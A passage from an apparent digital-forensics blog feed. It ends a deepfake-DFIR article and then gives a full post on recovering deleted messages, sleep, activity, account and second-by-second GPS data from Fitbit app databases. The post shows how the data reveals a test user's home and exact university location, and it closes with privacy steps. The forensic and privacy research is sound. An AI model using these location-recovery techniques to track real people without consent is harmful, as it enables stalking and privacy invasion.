&lt;p&gt;Staying compliant and informed about the latest regulations regarding AI and data security is vital. Keeping up to date will help your business avoid potential legal repercussions from AI-generated threats.&lt;/p&gt;
&lt;h2 id=&quot;strategies-for-dfir-teams&quot;&gt;Strategies for DFIR teams&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Enhance training programmes&lt;/strong&gt;: Equip analysts with skills to detect synthetic artefacts, focusing on identifying GAN-specific artefacts and analysing metadata for subtle discrepancies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Develop and deploy AI countermeasures&lt;/strong&gt;: Invest in AI tools designed to detect and flag synthetic data and validate content against known authentic samples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strengthen collaboration&lt;/strong&gt;: Engage with academia to access cutting-edge research on deepfake detection and industry to share intelligence on emerging threats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Establish forensic standards&lt;/strong&gt;: Advocate for digital provenance tools to ensure content is traceable to its source and regulations mandating the use of tamper-proof technologies in sensitive communications.&lt;/p&gt;
&lt;h2 id=&quot;tools-used&quot;&gt;Tools used&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ExifTool&lt;/li&gt;
&lt;li&gt;HxD&lt;/li&gt;
&lt;li&gt;GrokAI&lt;/li&gt;
&lt;li&gt;ChatGPT&lt;/li&gt;
&lt;li&gt;Forensically&lt;/li&gt;
&lt;li&gt;C2PA&lt;/li&gt;
&lt;li&gt;ContentCredentials&lt;/li&gt;
&lt;li&gt;PhotoForensics&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>AI &amp; Investigation</category><category>deepfakes</category><category>AI</category><category>social engineering</category></item><item><title>Advanced forensic techniques for recovering hidden data in wearable devices</title><link>https://jwdfir.com/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/</link><guid isPermaLink="true">https://jwdfir.com/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/</guid><description>Recovering deleted messages, sleep, activity, GPS and account data from Fitbit companion app databases, and what that data reveals about the wearer.</description><pubDate>Wed, 04 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A walk-through of forensic data recovery&lt;/li&gt;
&lt;li&gt;Detailed example of how to retrieve potentially sensitive deleted data&lt;/li&gt;
&lt;li&gt;Includes location, sleep and activity tracking&lt;/li&gt;
&lt;li&gt;Understand the security and privacy implications of wearable device data&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This post covers how forensic skills and tooling can be used to recover potentially sensitive data left on phones from devices such as Google’s Fitbit. The principles and techniques here also apply to similar products with similar functionality.&lt;/p&gt;
&lt;p&gt;A Fitbit test account was created for the investigation, and a Fitbit Versa was worn and used over a 3 month period.&lt;/p&gt;
&lt;p&gt;The test account was populated with personal information such as height, weight, and a profile picture. Food plans were also added. Apps were downloaded onto the device and posts made on the public dashboard.&lt;/p&gt;
&lt;p&gt;Essentially the test account and details replicated those of a true user.&lt;/p&gt;
&lt;h2 id=&quot;messages-and-posts&quot;&gt;Messages and posts&lt;/h2&gt;
&lt;p&gt;Messages were exchanged within the app and the profile was changed from public to private to see if certain posts remained visible. Various exercises were automatically tracked by the Fitbit Versa.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/01-a3cf0a0e.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/w800/01-a3cf0a0e.webp 800w, https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/01-a3cf0a0e.webp 1247w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/01-a3cf0a0e.webp&quot; alt=&quot;Figure 1 – Deleted Messages&quot; width=&quot;1247&quot; height=&quot;172&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 1 – Deleted Messages&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;To analyse these results, I exported the fitbit.sqlite file from the app’s sandbox on the linked phone and analysed the contents using &lt;a href=&quot;https://sqlitebrowser.org/&quot;&gt;DB Browser&lt;/a&gt; for SQLite. The ‘ZCONVERSATION’ table in the fitbit.sqlite database shows messages that have been sent and later deleted by the user.&lt;/p&gt;
&lt;p&gt;Several columns of interest can be seen in Figure 1. ‘ZUNREADMESSAGES’ indicates whether the message has been opened by the user (0) or hasn’t been opened yet (1). ‘ZLASTCHANGED’ provides date and time information relating to when the message was deleted. In this instance, the time shown is 21:44:12, which corroborates with the actual time the message was deleted, which was recorded for testing purposes at 21:44:12.&lt;/p&gt;
&lt;h2 id=&quot;sleep-data-analysis&quot;&gt;Sleep data analysis&lt;/h2&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/02-e9d4a13f.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/w800/02-e9d4a13f.webp 800w, https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/02-e9d4a13f.webp 937w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/02-e9d4a13f.webp&quot; alt=&quot;Figure 2 – Sleep Consistency&quot; width=&quot;937&quot; height=&quot;158&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 2 – Sleep Consistency&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The details provided on user sleep and location are important to note. The ‘ZSLEEPCONSISTENCY’ table (figure 2) shows the consistency levels of the user’s sleep data, and ‘ZSLEEPLOG’ shows sleep data. We can see the efficiency level of the sleep; this can help gain a further insight into what instance of sleep may be considered abnormal for the user.&lt;/p&gt;
&lt;p&gt;The ‘ZLEVELDATA’ column is much more detailed and provides an overview of the date and time the sleep occurred as well as every instance where the user had woken up and for how long. This section also shows how long the user was active in light, deep and REM sleeping instances.&lt;/p&gt;
&lt;p&gt;This column also includes the time in seconds that the user was restless for and at what time waking occurred. This data can become extremely confusing to analysts if they are not aware of what the information means.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/03-c9c1aba5.webp&quot; alt=&quot;Figure 3 – Sleep Data&quot; width=&quot;768&quot; height=&quot;214&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 3 – Sleep Data&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Figure 3 shows the time the user fell asleep. The user was recorded by the Fitbit Versa to have fallen asleep on 08/02/2020 at 23:09:00. The table also details when the first instance of broken sleep occurs. To follow the example of the first line, the user wakes up for 840 seconds and then falls back to sleep at 08/02/2020 at 23:23:00. If investigators have pinpointed a specific date and time they are interested in; this data then becomes extremely important in proving or disproving an incident.&lt;/p&gt;
&lt;h2 id=&quot;steps&quot;&gt;Steps&lt;/h2&gt;
&lt;p&gt;Tools like &lt;a href=&quot;https://www.msab.com/product/xry-extract/&quot;&gt;XRY&lt;/a&gt; can be used to parse data to provide a list of the daily steps taken by the user, and analyse those steps further by producing a graph which shows how many steps were taken each hour. Figure 4 shows the number of steps taken on a certain day and more specifically, how many of those steps were completed in each hour.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/04-93ca50ee.webp&quot; alt=&quot;Figure 4 – Hourly Steps&quot; width=&quot;594&quot; height=&quot;427&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 4 – Hourly Steps&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;activity-tracking&quot;&gt;Activity tracking&lt;/h2&gt;
&lt;p&gt;Data regarding user activities are in the ‘ZFBACTIVITYLOG’ table shown in Figure 5. ‘ZACTIVEMINUTES’ shows the number of minutes the user has been active for during the activity taken place. This can then be brought together with the subsequent columns. ‘ZAVERAGEHEARTRATE’ shows what the users average heart rate was during this activity – this combined with the average minutes can help figure out what activity was taking place.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/05-734fa7e5.webp&quot; alt=&quot;Figure 5 – User Activities&quot; width=&quot;768&quot; height=&quot;145&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 5 – User Activities&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Although Fitbit attempts to predict what activity is taking place, this is not always accurate as numerous biking activities were recorded on this account, which had not taken place. ‘ZCALORIES’ provides an estimation of how many calories were burned during the activity.&lt;/p&gt;
&lt;p&gt;The ‘ZHASGPS’ column proves to be of great interest for forensic investigations. Where GPS has been used, a 1 will be shown in this column and where GPS was not used, a 0 is shown. Where GPS has been used, the distance covered will be shown. ‘ZDURATIONACTIVE’ and ‘ZDURATIONOVERALL’ depict the overall duration of an activity and the amount of time an individual was active, measured in seconds. Again, where GPS is used the column ‘ZSPEED’ gains significance as the speed the user was travelling during the activity can be tracked by the Fitbit device.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/06-1d9d8234.webp&quot; alt=&quot;Figure 6 – Activity Log&quot; width=&quot;685&quot; height=&quot;363&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 6 – Activity Log&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The ‘ZNAME’ section shows the workout that either the user has manually started, or the device has automatically predicted, using the Fitbit Versa’s smart tracking feature. All the activities listed here are accurate, apart from the bike activities, which the Fitbit Versa has automatically recorded but did not take place. ‘ZSOURCETYPE’ shows the source device that recorded the activity. This information derives from tables ‘ZFBACTIVITYLOG’ and ‘ZFBLOCATION’ – which evidence the activity taking place and the location of the activity.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/07-2bc7bdb1.webp&quot; alt=&quot;Figure 7 – GPS Activity Information&quot; width=&quot;768&quot; height=&quot;81&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 7 – GPS Activity Information&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/08-5ec4d451.webp&quot; alt=&quot;Figure 8 – Automatically Tracked Run&quot; width=&quot;673&quot; height=&quot;101&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 8 – Automatically Tracked Run&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Figures 7 and 8 show automatically tracked activity information containing GPS data. This feature, as well as the enabled location data, is on by default. There are 548 waypoints in this 10-minute journey.&lt;/p&gt;
&lt;p&gt;What’s next? GPS data…&lt;/p&gt;
&lt;h2 id=&quot;location-tracking-with-gps&quot;&gt;Location tracking with GPS&lt;/h2&gt;
&lt;p&gt;Figure 9 shows overview of the location in which the automatically tracked, 10-minute activity took place, based on GPS data stored on the Fitbit device. This activity contained a total of 548 entries, which equals 548 seconds of GPS data being recorded. Fitbit records location activity on a second-by-second scale, resulting in accurate results. These 548 instances can then be detailed further, to discover where the activity took place in Liverpool.&lt;/p&gt;
&lt;p&gt;Displaying this was done by extracting the Fitbit account GPS co-ordinates from the linked mobile phone and putting them as an overlay in Google Maps.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/09-ded12b93.webp&quot; alt=&quot;Figure 9 – Tracked GPS Data&quot; width=&quot;768&quot; height=&quot;412&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 9 – Tracked GPS Data&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/10-0f95fac5.webp&quot; alt=&quot;Figure 10 – Mapped GPS Data&quot; width=&quot;768&quot; height=&quot;355&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 10 – Mapped GPS Data&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/11-2aeacb2d.webp&quot; alt=&quot;Figure 11 – Second-by-Second GPS Data&quot; width=&quot;768&quot; height=&quot;351&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 11 – Second-by-Second GPS Data&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;This location data, due to the nature of second-by-second recording – is extremely accurate.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/12-e414ef57.webp&quot; alt=&quot;Figure 12 – Automated GPS Recordings&quot; width=&quot;768&quot; height=&quot;517&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 12 – Automated GPS Recordings&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;As mentioned, the Fitbit Versa uses smart tracking features. They infer what activity a user is performing by constantly recording their movements. When the tracker has an idea of what activity is being performed, this is recorded and uploaded to the Fitbit application. I will now show the results of activities that have been automatically tracked by the watch over a period of just a few months:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/13-6fefd47c.webp&quot; alt=&quot;Figure 13 – Detailed GPS Entries&quot; width=&quot;768&quot; height=&quot;387&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 13 – Detailed GPS Entries&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Figure 13 shows where most location data is located, coincidently, this depicts the home address of the user. The instance depicting over 1600 GPS entries is where user resides. Further analysis of this address again provides a detailed, second by second overview of the user’s whereabouts.&lt;/p&gt;
&lt;p&gt;The above GPS recordings were not manually recorded by the user; these activities were in fact activated by Fitbit’s SmartTrack feature, which then links with the paired mobile phone to produce accurate connected GPS recordings.&lt;/p&gt;
&lt;p&gt;The sheer amount of data stored at this address indicates that this is where a lot of activity takes place. Forensic analysis of this data and the resulting information could be used in many ways. Users may be unaware of the automatic tracking that is used across Fitbit’s newer models.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/14-9314d6b4.webp&quot; alt=&quot;Figure 14 – Further Detailed GPS&quot; width=&quot;768&quot; height=&quot;379&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 14 – Further Detailed GPS&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Figure 14 above shows further insight into the user’s activity in and around their residential area. We can see over 1,000 GPS entries at the user’s home address. 643 of these entries appear to have come from the user’s garden.&lt;/p&gt;
&lt;p&gt;This could indicate that the user frequently performs exercise in their garden, and as a result SmartTrack has been used, causing GPS activity to take place. Fitbit automatically tracks walking exercises, however that does not activate GPS. Running does activate GPS tracking on the Fitbit Versa device. This in effect can build a user profile, where investigators can gain an understanding of the user’s typical exercise routes and where they spend the most time performing high intensity activities.&lt;/p&gt;
&lt;p&gt;Further analysis of the GPS activities that have been automatically recorded by the device show what looks like the user attending University.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/15-27c535a5.webp&quot; alt=&quot;Figure 15 – Further GPS Data&quot; width=&quot;702&quot; height=&quot;333&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 15 – Further GPS Data&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;To uncover the exact location of the individual in the university building. In terms of comparing this to a real-life scenario, this data could potentially help uncover a missing person – to the point where an individual could potentially be located at the exact building and room, they are residing via the recovery of Fitbit data from the cloud.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/16-3c2e77c0.webp&quot; alt=&quot;Figure 16 – GPS Data from the cloud&quot; width=&quot;563&quot; height=&quot;367&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 16 – GPS Data from the cloud&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Figure 16 above depicts further analysis of the highlighted area. Using Google’s measuring feature within the My Maps segment, the distance from the entrance to a location not far from the entrance where many location pinpoints are located can be measured, I believe that the 19 metres distance between the initial pinpoint and the area containing vast amount of GPS data evidence both the entrance to the building and the set of stairs on the first floor of the building.&lt;/p&gt;
&lt;p&gt;Given the smart track feature used on the Fitbit device tracks continuous and high movement, the fact that the stairs ‘exercise’ has been recorded on more occasions than anywhere else in the building would make sense.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/17-23862cd8.webp&quot; alt=&quot;Figure 17 – Location image&quot; width=&quot;768&quot; height=&quot;387&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 17 – Location image&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The automatically recorded GPS pinpoints evidenced where the user has entered the building, climbed the stairs shown above, and then walked towards another set of stairs – where the user frequently walked up 7 flights of stairs to reach the computer science department.&lt;/p&gt;
&lt;h2 id=&quot;further-analysis&quot;&gt;Further analysis&lt;/h2&gt;
&lt;p&gt;To continue the database analysis, fitbit.*UniqueID*.db contains a lot of significant information in relation to user account information, analysis of the settings.dat file evidences this.&lt;/p&gt;
&lt;p&gt;This file can be sited at the following location: &lt;em&gt;Users/*User*/AppData/Local/Packages/Fitbit.Fitbit_6mqt6hf9g46tw/Settings/settings.dat&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The first section of significance in this file is the ‘Fitbit.ProfileId’ this section shows the user ID of the Fitbit account.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/18-02f3a7a6.webp&quot; alt=&quot;Figure 18 – Fitbit Profile ID&quot; width=&quot;768&quot; height=&quot;103&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 18 – Fitbit Profile ID&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/19-7fc2a0c8.webp&quot; alt=&quot;Figure 19 – Fitbit Email Address&quot; width=&quot;768&quot; height=&quot;149&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 19 – Fitbit Email Address&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The user’s email address used to sign up to Fitbit can be found in the ‘Fitbit.LastUser’ section within the settings.dat file. This has been converted from its hexadecimal value to ‘███.████████@2016.ljmu.ac.uk’ (redacted), evidenced in Figure 19.&lt;/p&gt;
&lt;p&gt;Figure 20 below shows instances where the Fitbit Forensics account has been accessed, the timestamp shows the time and date of when this occurred, we are then subsequently provided with the user’s email address used to sign in and the location of where the action took place.&lt;/p&gt;
&lt;p&gt;As well as this, figure 21 shows further information of the data recovered from the ‘Account_Access_Events_1.csv’ file. This section evidences the IP address used to access the account. The outcome section shows whether account access was successful or not and the device_info column then evidences the device used to access the account, this may include information relating directly to a mobile phone or computer.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/20-9171c565.webp&quot; alt=&quot;Figure 20 – Fitbit Logins&quot; width=&quot;768&quot; height=&quot;272&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 20 – Fitbit Logins&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/advanced-forensic-techniques-for-recovering-hidden-data-in-wearable-devices/21-c0ed077c.webp&quot; alt=&quot;Figure 21 – Further Information&quot; width=&quot;768&quot; height=&quot;161&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 21 – Further Information&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;In summary, the aforementioned points highlight significant security risks for consumers. The integration of smart tracking features in IoT devices, which are often activated by default, allow for precise monitoring of users’ movements and locations. Should a user’s sensitive information fall into the wrong hands, the potential for harm is considerable and warrants serious attention.&lt;/p&gt;
&lt;h2 id=&quot;privacy-concerns-and-legal-issues&quot;&gt;Privacy concerns and legal issues&lt;/h2&gt;
&lt;p&gt;Recently, Fitbit has faced a trio of privacy complaints in the European Union, alleging that the company is illegally exporting user data in violation of the EU’s General Data Protection Regulation (GDPR). The complaints, filed by the &lt;a href=&quot;https://noyb.eu/en&quot;&gt;noyb&lt;/a&gt; privacy group, argue that Fitbit forces users to consent to international data transfers to the US and other countries with different data protection laws, which does not meet the GDPR’s standards for informed, specific, and freely given consent.&lt;/p&gt;
&lt;p&gt;Users are reportedly unable to withdraw consent without deleting their accounts, which would result in losing all their tracked data. The complaints have been filed with data protection authorities in Austria, the Netherlands, and Italy.&lt;/p&gt;
&lt;p&gt;There are ongoing concerns about the security of the data collected by Fitbit devices and how well it is protected against breaches. Given the sensitive nature of health data, there is significant scrutiny over how this information is stored and protected.&lt;/p&gt;
&lt;p&gt;Reports have highlighted that while Fitbit and Google claim to use data responsibly, there is a lack of transparency about how the data is used and shared, raising concerns about potential misuse or insufficient protection against cyber threats. The combination of Fitbit’s health data with Google’s other data has also raised fears about potential discrimination and exploitation in areas like healthcare and insurance.&lt;/p&gt;
&lt;p&gt;Privacy advice&lt;/p&gt;
&lt;p&gt;These are some simple steps to disable default tracking features:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disable Smart Tracking&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Launch the Fitbit app on your phone.&lt;/li&gt;
&lt;li&gt;Go to Account. Tap on your profile picture in the top left corner to access your account settings.&lt;/li&gt;
&lt;li&gt;Select Your Device. Choose your Fitbit device from the list.&lt;/li&gt;
&lt;li&gt;Exercise Shortcuts. Scroll down and tap on “Exercise Shortcuts.”&lt;/li&gt;
&lt;li&gt;SmartTrack Settings. Look for the SmartTrack section and tap on it.&lt;/li&gt;
&lt;li&gt;Disable Activities. You can toggle off the activities you don’t want SmartTrack to automatically recognize and record.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Turn Off GPS&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;On your Fitbit device, open the Exercise app.&lt;/li&gt;
&lt;li&gt;Select Exercise. Tap on the exercise you want to disable GPS for.&lt;/li&gt;
&lt;li&gt;Access Settings. Swipe up to access the exercise settings.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.myhealthyapple.com/how-to-turn-off-gps-on-your-fitbit-watch-or-tracker/&quot;&gt;Disable GPS. Locate the GPS option and toggle it off&lt;/a&gt;&lt;a href=&quot;https://www.myhealthyapple.com/how-to-turn-off-gps-on-your-fitbit-watch-or-tracker/&quot;&gt;.&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Turn Off Location Services in the Fitbit App&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;On your phone, go to Settings &amp;gt; Apps &amp;gt; Fitbit &amp;gt; Permissions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/fitbit/answer/14236528?hl=en&quot;&gt;Turn off the location permission for the Fitbit app&lt;/a&gt;&lt;a href=&quot;https://support.google.com/fitbit/answer/14236528?hl=en&quot;&gt;.&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Turn Off All-Day Sync&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the Fitbit app on your phone.&lt;/li&gt;
&lt;li&gt;Go to Account. Tap on your profile picture, then select your device.&lt;/li&gt;
&lt;li&gt;Disable All-Day Sync. Toggle off the All-Day Sync option.&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Mobile &amp; Wearables</category><category>wearables</category><category>mobile forensics</category><category>smartwatch</category></item></channel></rss>